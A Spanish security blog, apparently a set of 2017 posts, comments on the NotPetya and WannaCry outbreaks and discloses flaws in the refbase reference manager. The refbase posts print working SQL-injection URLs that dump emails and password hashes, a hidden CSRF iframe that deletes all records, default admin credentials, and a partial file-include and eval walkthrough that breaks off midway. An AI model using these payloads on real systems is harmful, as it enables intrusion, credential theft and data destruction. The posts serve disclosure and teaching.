martes, 27 de junio de 2017

Era previsible. Y aquí lo tenemos

En las últimas horas, algunos habremos dicho unos cuantos de cientos de veces eso de "ya te lo dije".

Sí. Era de esperar. Era cuestión de tiempo que volviera a pasar algo parecido a lo del WannaCry. Quizá menos espectacular. Quizá más efectivo. Quizá...

Hoy vuelve a aparecer la palabra "ransomware" en los  medios de comunicación. Un ataque masivo, dicen, que ha afectado a un buen número de organizaciones, sobre todo en Europa y, de forma especial, en Ucrania. Que yo haya visto por ahí, hasta ahora han tenido problemas empresas como la publicitaria británica WPP, las transportistas TNT-Express y Maersk, la farmaceútica norteamericana Merk, la aeronaútica Antonov, los bancos Oschadbank y Privatbank de Ucrania y la red eléctrica de este país, el metro de Kiev, la petrolera Rosneft o el sistema de detección de radiaciones de lo que queda de la central nuclear de Chernobyl. Y una empresa de hospitales norteamericana, Heritage Valley Health System, y el grupo español Mondelez (propietario de Toblerone, Milka, Tang y Oreo)

La cobertura de la noticia es de lo más variado:
https://www.thestreet.com/story/14199347/1/victims-of-the-latest-cyberattack.html?puc=CNNMONEY&cm_ven=CNNMONEY
http://money.cnn.com/2017/06/27/technology/hacking-petya-europe-ukraine-wpp-rosneft/index.html
http://www.bbc.com/news/technology-40416611
http://internacional.elpais.com/internacional/2017/06/27/actualidad/1498568187_011218.html
http://www.elmundo.es/tecnologia/2017/06/27/595269e0ca4741fb3f8b4668.html


Y por poner algo más técnico, los de Kaspersky van actualizando la información que van obteniendo en:
https://blog.kaspersky.es/new-ransomware-epidemics/13581/
https://blog.kaspersky.com/new-ransomware-epidemics/17314/

Todavía se sabe poco sobre este nuevo malware. En realidad, ni siquiera se sabe cuán nuevo es. Se discute si es una variante de Petya. De hecho, Kaspersky le ha llamado "NotPetya".

Y, por supuesto, no se pierde la ocasión de compararlo con WannaCry. Se ha dicho que llega a través de mensajes de correo que llevan un enlace a un fichero malicioso y que también utiliza una variante de EternalBlue para propagarse por las redes locales. Aunque también he leído, entre otros, a Kevin Beaumont  que puede estar empleando psexec o WMI (Windows management instrumentation).

En la cuenta de twitter de Dave Kennedy puede encontrarse la información que éste va recopilando. De ahí he sacado unas cuantas ideas:
  • Que el malware busca contraseñas en el equipo y trata de utilizarlas para infectar a otros sistemas. Se ha hablado de diversas técnicas para extraer estas credenciales, incluyendo el uso de mimikatz. Y es que eso sólo hay una cosa peor que que todas las cuentas locales de administración de los distintos equipos tengan una misma contraseña: que la compartan también con la del administrador del dominio.
  • Que si se bloquea el uso del fichero C:\Windows\perfc.dat para escritura y ejecución, el malware no puede ejecutarse.

Otra forma de propagación de la que se ha hablado es la infección de un servidor de actualizaciones de software. En particular, se ha mencionado a la empresa MeDoc, titular de un programa que promete automatizar los procesos de flujo de trabajo y los informes dentro de un mismo producto. La propia empresa reconoció inicialmente haber sufrido un ataque para después aclarar en su cuenta de Facebook que, a pesar de ello, sus actualizaciones de software no están infectadas (como algunos traductores suelen tener problemas con las páginas servidas sobre HTTPS, mejor que copies el contenido y lo pegues tú en el traductor).

Por cierto que uso el traductor de Bing y no el de Google en el primero de estos dos enlaces. Y la razón es que la traducción que éste último hacía me pareció, a riesgo de equivocarme, que no era muy correcta:

Imagen 1. Cuando no puedas echarle la culpa al mayordomo, para eso está el camarero

También me llamó la atención una fotografía que está acompañando a algunos artículos en los que se cubre esta noticia. En ella aparecen los típicos mensajes que muestra CHKDSK a medida que analiza un volumen de disco. La imagen aparece en uno de los mensajes que publica en su cuenta de Twitter el Vice-Primer Ministro ucraniano, Rozenko Pavlo, acompañando al texto "Та-дам! Секретаріат КМУ по ходу теж "обвалили". Мережа лежить." algo que no he sido capaz de traducir pero que en una página he encontrado en versión inglesa como ""Yes, ladies! The Cabinet of Ministers Secretariat also 'collapsed' along the way. The network lies." (a riesgo de equivocarme, sería"¡Sí, señoras! El Secretariado del Gabinete de Ministros también está colapsado sobre la marcha. La red miente").

Confieso que lo primero que se me vino a la cabeza es "éste ha confundido, le ha saltado en CHKDSK y no ha entendido lo que le salía". Pero resulta que este nuevo malware reinicia el equipo. Quizá de ese modo evite que se puedan extraer de memoria las claves privadas utilizadas para cifrar los ficheros.

Creo que es conveniente repetir aquí algo que leí en la cuenta de Twitter de Dave Kennedy. Quizá salve la información de alguien: Si sale el CHKDSK, apaga el equipo. Si el malware no ha cifrado aún tus ficheros, cosa que sería probable, podrías usar un Live CD para rescatarlos antes de que la cosa vaya a peor. Incluso aplicaría este consejo a quienes vean como su equipo se reinicia sin causa aparente: no lo dejes reiniciar, apágalo y haz una copia de tus datos con el Live CD.

En fin. Que ya veremos como acaba esto. Que, por no saber, no sabemos aún ni cómo empezó (aunque en Ucrania miran de reojo a Rusia).

Y que, inevitablemente, pronto estaremos hablando de otro ataque global de malware.

lunes, 22 de mayo de 2017

WCrypt WTF

Hola.
Acabo de mirar en el móvil la dirección https://intel.malwaretech.com/botnet/wcrypt, esa del mapa con el estado actual de WCrypt.

Y no me creo lo que veo:


Demasiado bueno para ser verdad... Sobre todo porque lo de "0 online" aparece para todas las botnets que esta web monitoriza.

Aparte que hace cosa de 8 horas que en @MalwareTechBlog se reportaba que a estas alturas seguían siendo detectadas unas 100.000 direcciones IP únicas diarias.

Quizá tenga que ver con los ataques de DDoS que MalwareTech ha venido recibiendo de vez en cuando desde que adquirió la notoriedad de que hoy disfruta. De hecho, en Twitter aparece alguna referencia reciente a estos ataques. Como en https://twitter.com/MalwareTechBlog/status/866444112479887362


Es lo que tiene estar en el centro de atención...

jueves, 18 de mayo de 2017

Cifrado de contraseñas en refbase


La última vez, para comprobar la vulnerabilidad de SQL Injection de refbase, obtuvimos unos cuantos hashes de contraseñas. Hoy he añadido algunas cuentas de acceso a la aplicación con objeto de seguir jugando. Volviendo a relizar la misma inyección de SQL he obtenido los siguientes pares de correos electrónicos y hashes (como es costumbre, van separados por el carácter ":"):
user@refbase.net:usLtr5Vq964qs
bb@cc.com:bbTdyOM4g6r9Q
a@b.c:a@MwrmlI6E95E
a!dsf@t.com:a!72jMCWwO03E
¡Uy, qué cortitos son estos hashes! Sólo 13 caracteres. Esto tiene mala pinta.

Veamos los scripts de la aplicación que gestionan las constraseñas. El primero de ellos, en el que se calcula el hash y se almacena en la base de datos es "user_validation.php", dentro del cual podemos encontrar el siguiente fragmento de código:
$salt = substr($formVars["email"], 0, 2);

// Create the encrypted password
$stored_password = crypt($formVars["loginPassword"], $salt);

// Update the user's password within the auth table
$query = "UPDATE $tableAuth SET "
 . "password = " . quote_smart($stored_password)
 . " WHERE user_id = " . quote_smart($userID);
Y la comprobación realizada en los intentos de inicio de sesión puede encontrarse en "user_login.php":
$salt = substr($loginEmail, 0, 2);
// Encrypt the loginPassword collected from the challenge (so that we can compare it to

// the encrypted passwords that are stored in the 'auth' table)
$crypted_password = crypt($loginPassword, $salt);
¡Sí que tiene mala pinta! Se emplea la función "crypt" con una "sal" de sólo dos caracteres. Veamos lo que dice el manual de PHP sobre ella. Pongo puntos suspensivos para omitir parte del texto y no hacerlo demasiado largo:
crypt() devolverá el hash de un string utilizando el algoritmo estándar basado en DES de Unix o algoritmos alternativos que puedan estar disponibles en el sistema. 
 Algunos sistemas operativos soportan más de un tipo de hash. De hecho, a veces el algoritmo estándar basado en DES es sustituído por un algoritmo basado en MD5. El tipo de hash se dispara mediante el argumento salt. ... Si no se proporciona una sal, PHP autogenerará o una sal estándar de dos caracteres (DES), o una de doce caracteres (MD5), dependiendo de la disponibilidad de la función crypt() de MD5.
...
En sistemas donde la función crypt() soporta múltiples tipos de hash, las siguientes contantes se establecen en 0 o 1, dependiendo de que si el tipo dado está disponible:
  • CRYPT_STD_DES... salt de dos caracteres del alfabeto "./0-9A-Za-z".
  • CRYPT_EXT_DES...el "salt" es un string de 9 caracteres que consiste en un guión bajo seguido de 4 bytes del conteo de iteraciones y 4 bytes del salt.
  • CRYPT_MD5... salt de doce caracteres comenzando con $1$
  • CRYPT_BLOWFISH... salt como sigue: "$2a$", "$2x$" o "$2y$", un parámetro de coste de dos dígitos, "$", y 22 caracteres del alfabeto "./0-9A-Za-z". 
  • CRYPT_SHA256... salt de dieciséis caracteres prefijado con $5$. 
  • CRYPT_SHA512...  salt de dieciséis caracteres prefijado con $6$
O sea: que al usar dos caracteres para la "sal" se obliga a "crypt" a usar DES estándar que, como se vio anteriormente, genera hashes de 13 caracteres de los que los 2 primeros corresponden a la salt. Por decirlo de forma suave, para esto de las contraseñas se queda bien cortito.

Además, los dos caracteres deben pertenecer  al alfabeto "./0-9A-Za-z". Dos signos de puntuación, diez dígitos, veintiséis letras mayúsculas y otras veintiséis minúsculas. En total, un alfabeto de 64 caracteres. Y, en definitiva, sólo 64x64 = 4096 combinaciones posibles que, con el estado actual de la tecnología, resultan insuficientes para hacer inviables los ataques con Rainbow Tables.

Pero volvamos a observar los hashes obtenidos mediante SQL Injection. Los dos últimos contienen caracteres incorrectos para una "sal" de las que acabamos de describir:
a@b.c:a@MwrmlI6E95E
a!dsf@t.com:a!72jMCWwO03E
La "sal" del primero de los hashes es "a@". Y la del segundo, "a!". Ni "@" ni "!" son caracteres incluídos en el alfabeto "./0-9A-Za-z". Entonces... ¿qué hace PHP con ellos? 

Aunque el manual indique la función fallará si encuentra este tipo de caracteres, la verdad es que no lo hace. Y la prueba es que ahí están esos hashes. En PHP 7 hace que se muestre un warning, pero poco más. Las distintas implementaciones de DES estándar responden cada una a su manera a estas situaciones pero lo habitual (y lo que PHP hace) es sustituir cada uno de estos caracteres incorrectos por otro que sí sea válido. La forma en que se realiza este "mapeo" puede variar dependiendo de cada software, de modo que realicé un script PHP que se encargara del trabajo sucio.

Este script, cuyo listado aparece al final del post, determina mediante pruebas exhaustivas el mapeo de caracteres incorrectos a caracteres correctos y, si es necesario, corrige la parte de la "sal" del hash para que no quede en él nada raro. El resultado que obtuve fue
user@refbase.net:usLtr5Vq964qs
bb@cc.com:bbTdyOM4g6r9Q
a@b.c:aGMwrmlI6E95E
a!dsf@t.com:an72jMCWwO03E
Y hay otro problema. Este mecanismo de creación de hashes trunca la contraseña en el octavo carácter. O sea, que de nada sirve poner contraseñas de 9 o más caracteres si uno quiere mejorar su calidad. Para comprobarlo, tomemos el siguiente script PHP de usar y tirar, que obtiene un hash para tres cadenas que comienzan con los mismos caracteres: una de longitud 7, otra de longitud 8 y una última de longitud 12:
<?php
function imprime_fila($texto, $salt, $valor) {
 $dato = $valor ? $valor : crypt($texto, $salt);
 print "
  <tr>
   <td>$texto</td>
   <td>$salt</td>
   <td>$dato</td>
 </tr>
 ";
}

print "<table border=1>";
imprime_fila("TEXTO", "SALT", "HASH");
$base = "1234567";
foreach (["", "8", "80abc"] as $texto) {
  imprime_fila($base . $texto, "ab");
}
print "</table>";
?>
En la salida producida puede observarse que el hash para "12345678" es el mismo que para "1234567890abc". O sea: que el propio sistema se encarga de deteriorar las contraseñas que recibe si estas son demasiado buenas.


¿Que si todo esto es tan importante? Para comprobarlo, guardemos estos datos en un fichero llamado "refbase.txt" y pasémoslo por John The Ripper. Vaya por delante que no voy a utilizar un equipo demasiado potente ni me he molestado en optimizar el uso de este crackeador de hashes.

En primer lugar, realicé sólo un ataque de diccionario mediante lista de palabras para coger pronto las "frutas que están al alcance de la mano":

Ataque de lista de palabras a hashes DES estándar
 En menos de un segundo, ya tengo las primeras tres contraseñas. Para ver si obtengo la cuarta, toca probar a dejar a John The Ripper usar sus propias reglas de "mejora" del diccionario:

Cuarenta y un segundos


Sólo ha hecho falta poco más de cuarenta segundos para lograrlo. Bueno, la verdad es que las contraseñas no eran demasiado buenas y no ha sido necesario utilizar la artillería pesada, pero ya tenemos una primera medida.

Desde luego, mejor habrían hecho en buscar un algoritmo apropiado para el cómputo del hash. Esto se lo comenté en su día, hace más de un año, con los desarrolladores de refbase y me respondieron que eran conscientes del problema y que estaban estudiando dejar de usar la función "crypt" y sustituirla por "password_hash".

Deben ser muy estudiosos, porque aún parecen seguir estudiándolo. En todo caso, que estuvieran al tanto de la solución me reafirma en mi creencia de que no es que esto de la seguridad no les preocupe, sino que no tienen el tiempo ni los recursos necesarios para mantener un software tan complejo como refbase.

Sobre "password_hash" se habla en la propia página de "crypt" del manual de PHP :
password_hash() utiliza un hash fuerte, genera una sal fuerte, y aplica los redondeos necesarios automáticamente. password_hash() es una envoltura simple de crypt() compatible con los hash de contraseñas existentes. Se aconseja el uso de password_hash(). 
Y, si nos vamos a su propia documentación, podemos leer:
Actualmente se admiten los siguientes algoritmos:
  • PASSWORD_DEFAULT - Usar el algoritmo bcrypt (predeterminado a partir de PHP 5.5.0). Observe que esta constante está diseñada para cambiar siempre que se añada un algoritmo nuevo y más fuerte a PHP. Por esta razón, la longitud del resultado de usar este identificador puede cambiar con el tiempo. Por lo tanto, se recomienda almacenar el resultado en una columna de una base de datos que pueda apliarse a más de 60 caracteres (255 caracteres sería una buena elección).
  • PASSWORD_BCRYPT - Usar el algoritmo CRYPT_BLOWFISH para crear el hash. Producirá un hash estándar compatible con crypt() utilizando el identificador "$2y$". El resultado siempre será un string de 60 caracteres, o FALSE en caso de error.
Bueno, BCRYPT es, desde luego, mucha mejor opción que DES estándar. No es perfecta, y trunca las contraseñas a 72 caracteres:
Precaución
El uso de PASSWORD_BCRYPT como el algoritmo resultará en el truncamiento del parámetro password a un máximo de 72 caracteres de longitud.
Y alguien apunta en los comentarios que también trunca la contraseña en el primer carácter nulo que encuentre:
Please note that password_hash will ***truncate*** the password at the first NULL-byte.
 Pero creo que se ven claramente las ventajas frente a DES estándar. Además, para verificar posteriormente las contraseñas contra los hashes calculados con "password_hash", existe otra función, "password_verify" que, como se indica en su documentación en inglés, tiene mecanismos de protección frente a ataques de medida de tiempo. Ya sabe: esos que tratan de determinar cuántos caracteres del inicio, ya sea de la contraseña o del hash, has acertado midiendo el tiempo que el programa tarda en comparar las cadenas:
This function is safe against timing attacks.
 Preparé, pues, un script "rápido y sucio" que calcula los hashes usando "password_hash". Mejor no ponerle ninguna "sal" y dejar que se genere una al azar:
 <?php
print"user@refbase.net:". password_hash("start", PASSWORD_DEFAULT) . "<br>";
print"bb@cc.com:". password_hash("test", PASSWORD_DEFAULT) . "<br>";
print"a@b.c:". password_hash("a", PASSWORD_DEFAULT) . "<br>";
print"a!dsf@t.com:". password_hash("p1968", PASSWORD_DEFAULT) . "<br>";
?>
Y el resultado obtenido esta vez fue (si tú lo pruebas, te saldrán hashes distintos por lo de la "sal" aleatoria):

user@refbase.net:$2y$10$g1vrkHhlkuFy.c4njRQVFuHvL9cB8wc8GTmyykRYNTwUDTFSAIyFm
bb@cc.com:$2y$10$Zi1mUOzPS7VolHJc7vLpReJQdbR7eoErCHQhqiizEDKerPMaJCMmi
a@b.c:$2y$10$/0GiqTFxtA2NJXtRc4pvV.niY940ClYAnxelPsnVtuW1chBFgLnHm
a!dsf@t.com:$2y$10$mmJeQXlay3dv1wysiFPvBeCL0j1U81SLrs/TiFV0tfOy/97DKSNgO
De modo que... a guardarlo en "refbase2.txt" y someterlo a un ataque de diccionario por lista de palabras:

Esto tarda bastante más

Lo que antes llevó menos de un segundo ahora lleva casi cuatro minutos. Y quedan aún las contraseñas más difíciles. Si observamos los indicadores que da John de Ripper vemos que, por tomar uno cualquiera de ellos, el número de contraseñas probadas por segundo se ve reducido en una proporción aproximada de 1 a 7600. Creo que poco más habría que añadir.

Y la pena es que no haría falta que modificaran demasiado el código fuente de refbase para arreglar todo esto.

Bueno, aquí lo dejo por hoy. Nos vemos por aquí pronto, espero.

PD.: Ahí dejo el script que corrige las "sales" para los hashes DES estándar:
<?php


$password="user@refbase.net:usLtr5Vq964qs
bb@cc.com:bbTdyOM4g6r9Q
a@b.c:a@MwrmlI6E95E
a!dsf@t.com:a!72jMCWwO03E";


function crea_conversor() {
    $cadena = "adsfadf !!! adfadsf!!!";
    $validos = [".", "/"];
    for ($i=48;$i<=57;$i++) {
        $validos[] = chr($i);
    }
   
    for ($i=65;$i<=90;$i++) {
        $validos[] = chr($i);
    }
   
    for ($i=97;$i<=122;$i++) {
        $validos[] = chr($i);
    }
   
    $res = [];
    for ($i=0; $i<255; $i++) {
        $c = chr($i);
       
        $cod = substr(crypt($cadena, "a$c"), 2);
        foreach ($validos as $v) {
            $cod2 = substr(crypt($cadena, "a$v"), 2);
            if ($cod == $cod2) {
                $res[$c] = $v;
            }
        }
    }
   
    return $res;
}

function procesa_hash($h, $conv) {

    return
        $conv[substr($h,0,1)] .
        $conv[substr($h,1,1)] .
        substr($h,2);
}


$conv = crea_conversor();
$lineas = preg_split("/[\r\n]+/", $password);
foreach ($lineas as $l) {
    $partes = explode(":", $l);
    print htmlspecialchars($partes[0] . ":" . procesa_hash($partes[1], $conv)). "<br>";
}

martes, 16 de mayo de 2017

SQL Injection y alguna cosa más. Sí, en refbase

Volvamos a la aplicación refbase. Esta que, por ahora, tiene vulnerabilidades de subida de archivos de cualquier extensiónejecución de comandos de sistema operativo y de ficheros de código SQL, ejecución de código PHP arbitrartio, aparte de una gestión de las versiones que, creo, supone un serio riesgo para quienes la instalan en sus sistemas. Aquí la tenemos
La página de inicio
En la página de inicio aparecen las últimas publicaciones introducidas en la base de datos. Junto a cada una de ellas hay dos botones: uno con forma de flecha, que lleva al sitio donde puede consultarse el documento, y otra, con forma de lupa, que permite acceder a la correspondiente ficha. Tomemos una publicación, hagamos clic en su "lupa"...
Atención a la URL

... y observemos la URL. Como no sale completa en la imagen, os la copio aquí:
http://localhost/refbase-code-1418-trunk/search.php?sqlQuery=SELECT%20author%2C%20title%2C%20type%2C%20year%2C%20publication%2C%20abbrev_journal%2C%20volume%2C%20issue%2C%20pages%2C%20keywords%2C%20abstract%2C%20address%2C%20corporate_author%2C%20thesis%2C%20publisher%2C%20place%2C%20editor%2C%20language%2C%20summary_language%2C%20orig_title%2C%20series_editor%2C%20series_title%2C%20abbrev_series_title%2C%20series_volume%2C%20series_issue%2C%20edition%2C%20issn%2C%20isbn%2C%20medium%2C%20area%2C%20expedition%2C%20conference%2C%20notes%2C%20approved%2C%20call_number%2C%20serial%20FROM%20refs%20WHERE%20serial%20%3D%207%20ORDER%20BY%20author%2C%20year%20DESC%2C%20publication&client=&formType=sqlSearch&submit=Display&viewType=&showQuery=0&showLinks=1&showRows=10&rowOffset=&wrapResults=1&citeOrder=&citeStyle=APA&exportFormat=RIS&exportType=html&exportStylesheet=&citeType=html&headerMsg=

O, decodificando los parámetros GET para que todo se vea más claro:
http://localhost/refbase-code-1418-trunk/search.php?sqlQuery=SELECT author, title, type, year, publication, abbrev_journal, volume, issue, pages, keywords, abstract, address, corporate_author, thesis, publisher, place, editor, language, summary_language, orig_title, series_editor, series_title, abbrev_series_title, series_volume, series_issue, edition, issn, isbn, medium, area, expedition, conference, notes, approved, call_number, serial FROM refs WHERE serial = 7 ORDER BY author, year DESC, publication&client=&formType=sqlSearch&submit=Display&viewType=&showQuery=0&showLinks=1&showRows=10&rowOffset=&wrapResults=1&citeOrder=&citeStyle=APA&exportFormat=RIS&exportType=html&exportStylesheet=&citeType=html&headerMsg=

Algo que quizá alguien recuerde de "El parque del oso": ¡Toda una sentencia SQL pasada como parámetro GET!

En su día contaba yo a los desarrolladores de refbase que esto era peligroso y que quizá debían plantearse un enfoque alternativo. No sólo por seguridad sino también porque la solución que habían elegido les complicaría en el futuro la migración de refbase a otros gestores de bases de datos distintos de MySQL. La respuesta fue que, por desgracia, no era realista plantear un cambio de ese calado, dados los recursos de que disponían para el desarrollo.

No digo más. Y con eso creo que tendrás suficiente para entenderme.

En todo caso, refbase no ejecuta el código introducido sin más. Las consultas proporcionadas a través del parámetro GET sqlQuery son alteradas de varias formas para garantizar el correcto funcionamiento del programa. Cosas como:
  • El usuario puede solicitar sólo aquellas columnas que le interesan y refbase se adapta a su petición, mostrando únicamente los datos requeridos. Si es necesario, refbase añade a la consulta las columnas que precise para sus operaciones internas, pero no las muestra.
  • Se garantiza la existencia de la claúsula ORDER BY
Y se incluyen algunos mecanismos de seguridad. Así en la versión obtenida del repositorio SVN se rechaza la consulta y, en lugar de responderle, se redirige al usuario a la página inicial cuando:
  • La consulta contiene etiquetas HTML (para evitar XSS)
  • El usuario no es administrador y la consulta no comienza con "SELECT". A esta comprobación le añaden también que no contengan "DROP DATABASE" o "DROP TABLE".
  • Al SELECT inicial le sigue cualquier cosa que no sea una lista de columnas antes de llegar al FROM. Las columnas que pueden incluirse en esta lista están indicadas expresamente en la variable "$all_fields". Una lista blanca: eso apunta buenas maneras. La expresión regular elegida para hacer esta comprobación viene dada por: 
"/^SELECT ((" . $all_fields . "),* *)+ FROM/i"
  • Si alguien intenta colar una segunda consulta. Para ello, se trata de detectar la presencia de una segunda claúsula FROM
"/FROM .*(" . join("|", $tablesArray) . ").+ FROM /i"
  •  Si la consulta contiene alguna operación no permitida. Las operaciones permitidas vienen dadas mediante una expresión regular

"/FROM $tableRefs( LEFT JOIN $tableUserData ON serial ?= ?record_id AND user_id ?= ?\d*)?(?= WHERE| ORDER BY| LIMIT| GROUP BY| HAVING| PROCEDURE| FOR UPDATE| LOCK IN|$)/i"

Todo lo cual, dadas las circunstancias, estaría bien (o, al menos, regular)... si las expresiones regulares fueran correctas.

Sin entrar en muchos detalles, hay un fallo grande. Muy grande. En todas las expresiones regulares anteriores se considera que las claúsulas SQL van separadas... por espacios. Pero SQL en general, y el dialecto de MySQL en particular, acepta un montón de caracteres y expresiones como separadores. Por ejemplo, un comentario "/**/". O un tabulador. O...

Así, que se puede hacer una petición como
http://localhost/refbase-code-1418-trunk/search.php?sqlQuery=SELECT publication, serial FROM refs WHERE serial = -1/**/union/**/select email,password,3,4,5,6,7,8,9,10/**/from/**/auth ORDER BY 1 DESC&client=&formType=sqlSearch&submit=Display&viewType=&showQuery=0&showLinks=1&showRows=10&rowOffset=&wrapResults=1&citeOrder=&citeStyle=APA&exportFormat=RIS&exportType=html&exportStylesheet=&citeType=html&headerMsg=
... y obtener los identificadores de usuario (sus cuentas de correo) y los hashes de sus contraseñas:
SQL Injection accomplished!
Por cierto, que el comportamiento de la aplicación ante la ejecución de consultas SQL incorrectas ayuda bastante a elaborar estos ataques. Muestra tanto la consulta que se intentó realizar como la respuesta del gestor de bases de datos:
Buena ayuda para un atacante


En lugar de comentarios podrían haberse usado otros separadores. Por ejemplo, tabuladores horizontales (codificados en la URL como %09), tabulación vertical (%0B), salto de página (%0C) o retorno de carro (%0D):
http://localhost/refbase-code-1418-trunk/search.php?formType=sqlSearch&submit=Display&headerMsg=&sqlQuery=SELECT publication, serial FROM refs WHERE serial = -1%09union%0Bselect email,password,3,4,5,6,7,8,9,10%0Cfrom%0Dauth ORDER BY 1 DESC, publication&showQuery=0&showLinks=1&showRows=10&rowOffset=0&marked[]=&citeStyle=APA&citeOrder=&orderBy=author, year DESC, publication

Una nota al margen para ir acabando. Los usuarios normales no pueden hacer otra cosa  que SELECT. Los administradores sí podrían lanzar otras instrucciones.

En lo que a los DROP respecta, el usuario que crea el instalador de la aplicación para conectar a la base de datos carece de los permisos necesarios, por lo que no tendrían impacto alguno. Salvo que, quizá por los fallos que tiene el instalador, alguien se huviera visto obligado a crear la cuenta a mano y se hubiera pasado con los permisos, claro.

En todo caso, los INSERT, UPDATE y DELETE sí que están permitidos a la cuenta de administración de refbase. De hecho ésta disponde de un formulario, "sql_search.php", que le permite ejecutar (o tratar de hacerlo) cualquier sentencia SQL. Este formulario termina llamando a "search.php" indicando el parámetro GET "formType=sqlSearch".

¿Y por qué es esto importante?

Porque "search.php", como tantas otras partes de la aplicación, no está debidamente protegido contra Cross Site Request Forgery. Ni, dicho sea de paso, contra ClickJacking. De modo que un atacante podría usar cualquier servidor web que tuviera bajo su control y alojar en él una página maliciosa con el siguiente código:
Hola
<iframe src="http://localhost/refbase-code-1418-trunk/search.php?formType=sqlSearch&submit=&citeStyle=&citeOrder=&sqlQuery=Delete+from+refs&showLinks=1&showRows=10&viewType=Web"
 style="display:none">
</iframe>
Si alguien que ha iniciado sesión con la cuenta de administración de refbase visita esta página... Adios al trabajo de recopilación de referencias documentales.


Nada por aquí, nada por allá







viernes, 12 de mayo de 2017

WannaCry WCry WCrypt

De que hoy anda suelto un ransomware que está haciendo de las suyas, no creo que haga falta hablar.

Sólo unos cuantos enlaces:

Un mapa (malwareTech) en el que puedes ver cómo está la cosa y como ha venido estando. Es el que sale en todas las noticias. Pero aquí lo tienes en tiempo real.

Una cuenta de Twitter (MalwareHunterTeam) con información.

Una hashtag de las que tratan sobre este tema, #WCry

Un repositorio en GitHub con muuuucha información.


Y tu periódico preferido que te contará las cosas de las que se vayan enterando. Espero que de forma correcta

Refbase: Ejecución de código PHP arbitrario

Ésta de la que hablo hoy es una de las vulnerabilidades que menos tiempo me llevó encontrar. Exceptuando aquellas que son obvias, claro está.

Y tan fácil como fue, supongo que no habré sido el primero, ni seré el último en dar con ella.

Ahí va la historia. Voy a tardar más en contarla de lo que me llevó hacerlo:

Preparativos

Uno de los indicios del grado en que se ha tenido en cuenta la seguridad a la hora de diseñar y programar una aplicación es, en mi opinión, el número de veces que en ella se usa la compilación o interpretación de código generado en tiempo de ejecución.

Para decirlo en pocas palabras, si hablamos de PHP o de JavaScript, cuántas veces se usa "eval".

Y lo bueno es que es algo fácil de determinar. Si, como a mí, te gusta la línea de comandos de Linux, puedes usar una combinación de "find", "grep" y "wc". Pero por ahora utilizaremos un editor de textos potente, como Notepad++ o Kate, que ofrezca la capacidad de buscar en todos los ficheros de un directorio y sus subdirectorios.

El que tengo instalado en mi equipo actual es el primero de ellos así que... ahí va lo que hice.

Abrí la ventana de "Buscar" y activé la pestaña de "Buscar en archivos". Allí marqué la opción de buscar como "Expresión regular" y dije que quería buscar dentro de la carpeta de refbase la cadena "eval" seguida de cualquier número de espacios (o quizá ninguno) y, finalmente, un paréntesis:
Imagen 1 - Busca
De los resultados obtenidos, la mayor parte eran del lado del cliente (JavaScript). Pero el último prometía:
Imagen 2 - Encuentra

Haciendo doble clic sobre el resultado se me abrió en la parte superior el fichero con el cursor colocado en la correspondiente línea
Imagen 3 - El punto en que todo se convierte en problemas

O sea: desactivando la salida de las instrucciones (con "ob_start" y "ob_end_clean"), se  lee un fichero cuyo nombre viene dado por $f, se coloca el resultado dentro de una cadena de texto... y se hace un eval de ésta. Un poco antes aparece cómo se determina la ruta del fichero a abrir. Se trata del fichero de adaptación de idioma:
Imagen 4 - El punto del que proceden los problemas
Estaba claro por el contexto, y por un listado de la carpeta "locales" que "$locale" contendría el nombre abreviado del idioma usado por el usuario actual:

Imagen 5 - Los "locales"
Necesitaba encontrar dónde se le asignaba valor a $locale, de modo que usé Notepad++ para buscar en todos los archivos de la carpeta la expresión regular
\$locale\s*=

 Y me encontró la siguiente línea en el fichero "includes/locales.inc.php":
$locale = getUserLanguage(); // function 'getUserLanguage()' is defined in 'include.inc.php'

Miré, pues, la definición de "getUserLanguage()" en "includes/include.inc.php".  La línea en la que se obtenían los valores hacía referencia a otra función:
$userLanguagesArray = getLanguages($loginUserID);

Para encontrar la definición de getLanguages usé la expresión regular
function\s+getLanguages

... Y la encontré en el mismo fichero. El dato lo tomaba de una consulta SQL:
$query = "SELECT language AS language_name FROM $tableUsers WHERE user_id = " . quote_smart($userID);

Pero ¿cómo se metían los datos ahí? Para averiguarlo, localicé los sitios en los que se actualiza la tabla buscando:
update\s\$tableUsers

Y, entre los resultados, encontré varios del fichero "user_options_modify.php", cuyo nombre suena a modificaciones de las opciones de usuario. Tuve suerte con el primero de ellos:
$queryArray[] = "UPDATE $tableUsers SET " 
    . "language = " . quote_smart($formVars["languageName"]) . " "
    . "WHERE user_id = " . quote_smart($userID);

La variable $formVars se rellenaba con los parámetros POST recibidos por el script, sin más comprobaciones:
foreach($_POST as $varname => $value)
        $formVars[$varname] = $value;

La cosa tenía mala pinta. Mala para la seguridad, quiero decir. Busqué la función "quote_smart" (sí: con la expresión regular "function\s+quote_smart") y su código, contenido en el fichero "includes/include.inc.php", parecía prestar atención sólo a temas relacionados con SQL injection y de formato:
function quote_smart($value)
    {
        // Remove slashes from value if 'magic_quotes_gpc = On':
        $value = stripSlashesIfMagicQuotes($value);

        // Remove any leading or trailing whitespace:
        $value = trim($value);

        // Quote & escape special chars if not a number or a numeric string:
        if (!is_numeric($value))
        {
            $value = "\"" . escapeSQL($value) . "\"";
        }
        // Quote numbers with leading zeros (which would otherwise get stripped):
        elseif (preg_match("/^0+\d+$/", $value))
        {
            $value = "\"" . $value . "\"";
        }

        return $value;
    }

De modo que la ruta de fichero no es objeto de más comprobaciones de seguridad que las que tratan de evitar la inyección de SQL. Las puertas están abiertas a un Local File Include gracias a la llamada a la función eval.

Ataque

Impaciente como soy, no pude esperar más. Entré en refbase como administrador (recuerda que las credenciales por defecto son "user@refbase.net" / "start") ...

Imagen 6 - Nótense las opciones para gestionar cuentas de usuario

... y creé una cuenta. Inmediatamente, cerré la sesión y me pregunté ¿qué podría hacer este nuevo usuario de tener malas intenciones?

Imaginemos que puede subir ficheros a un directorio, cosa que de hecho refbase permite. Pero que el programa rechaza aquellos que tienen extensión PHP. Y supongamos que no está en condiciones de explotar la vulnerabilidad de refbase de la que hablamos en "Sube que te sube".

Sea, pues, "c:\xampp\htdocs\otro" una carpeta en la que este atacante puede subir sus ficheros. Y sigamos.

Tras iniciar sesión con esta nueva identidad...
Imagen 7 - Sin opciones de gestión de usuarios
... ya no tenía las opciones propias de un adminitrador. Era sólo un simple usuario. Por ahora.

Ya como usuario de a pie, hice clic en el enlace "Options" de la parte superior de la página para configurar mis preferencias.

Imagen 8 - Mis opciones

Hice clic en el botón a la derecha de "Display Options" para modificar los ajustes.
Imagen 9 - Cambiando opciones
